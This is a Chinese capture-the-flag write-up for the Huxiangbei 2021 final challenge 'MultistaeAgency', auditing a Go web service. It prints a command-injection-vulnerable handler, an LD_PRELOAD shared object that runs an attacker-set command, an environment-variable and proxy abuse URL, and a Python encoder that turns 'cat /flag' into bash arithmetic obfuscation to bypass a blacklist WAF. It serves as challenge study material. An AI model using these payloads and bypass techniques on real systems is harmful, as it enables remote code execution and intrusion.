湖湘杯 2021 final MultistaeAgency
2022-09-21 23:51:08
# 代码审计
# Go
# 附件
web 下的 main.go
存在三个路径
list 展示上传到 token 下的文件
upload 上传文件并请求内网 9091 的 manage 接口
token:获取 token 并添加环境变量
manage 接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 func manage (w http.ResponseWriter, r *http.Request) { values := r.URL.Query() m := values.Get("m" ) if !waf(m) { fmt.Fprintf(w, "waf!" ) return } cmd := fmt.Sprintf("rm -rf uploads/%s" , m) fmt.Println(cmd) command := exec.Command("bash" , "-c" , cmd) outinfo := bytes.Buffer{} outerr := bytes.Buffer{} command.Stdout = &outinfo command.Stderr = &outerr err := command.Start() res := "ERROR" if err != nil { fmt.Println(err.Error()) } if err = command.Wait(); err != nil { res = outerr.String() } else { res = outinfo.String() } fmt.Fprintf(w, res) }
在这里存在 rce 的点
其中有一个 waf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 func waf (c string ) bool { var t int32 t = 0 blacklist := []string {"." , "*" , "?" } for _, s := range c { for _, b := range blacklist { if b == string (s) { return false } } if unicode.IsLetter(s) { if t == s { continue } if t == 0 { t = s } else { return false } } } return true }
既然会加载环境变量,可以让其加载恶意的 so 文件来 rce
1 2 3 4 5 6 7 # include<stdlib.h> __attribute__((constructor)) void l3yx(){ unsetenv("LD_PRELOAD"); system(getenv("_evilcmd")); } gcc -shared -fPIC -o evil.so evil.c
大致思路:
通过上传恶意的 so 文件来 rce,先访问 /token 获取到 token 的值,因为后面会有检验,upload 会将其移动到 token 目录下,上传会发现其请求 /token?http_proxy=127.0.0.1:8080
获取到 token,也就是 proxy 代理实现。再去 curl 内网的 9091manage 接口,将 m 参数传入即可得到 flag,当然还要先绕过 waf
1 2 /token?http_proxy=127.0 .0 .1 :8080 &LD_PRELOAD=/code/uploads/2 ea6a3a71d0b2db658544f67f1468897/XVlBz&_evilcmd=ls /
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from urllib.parse import quoten = dict () n[0 ] = '0' n[1 ] = '${##}' n[2 ] = '$((${##}<<${##}))' n[3 ] = '$(($((${##}<<${##}))#${##}${##}))' n[4 ] = '$((${##}<<$((${##}<<${##}))))' n[5 ] = '$(($((${##}<<${##}))#${##}0${##}))' n[6 ] = '$(($((${##}<<${##}))#${##}${##}0))' n[7 ] = '$(($((${##}<<${##}))#${##}${##}${##}))' f='' def str_to_oct (cmd ): s = "" for t in cmd: o = ('%s' % (oct (ord (t))))[2 :] s+='\\' +o return s def build (cmd ): payload = "$0<<<$0\<\<\<\$\\\'" s = str_to_oct(cmd).split('\\' ) for _ in s[1 :]: payload+="\\\\" for i in _: payload+=n[int (i)] return payload+'\\\'' print (quote(quote("123;" +build("cat /flag" ))))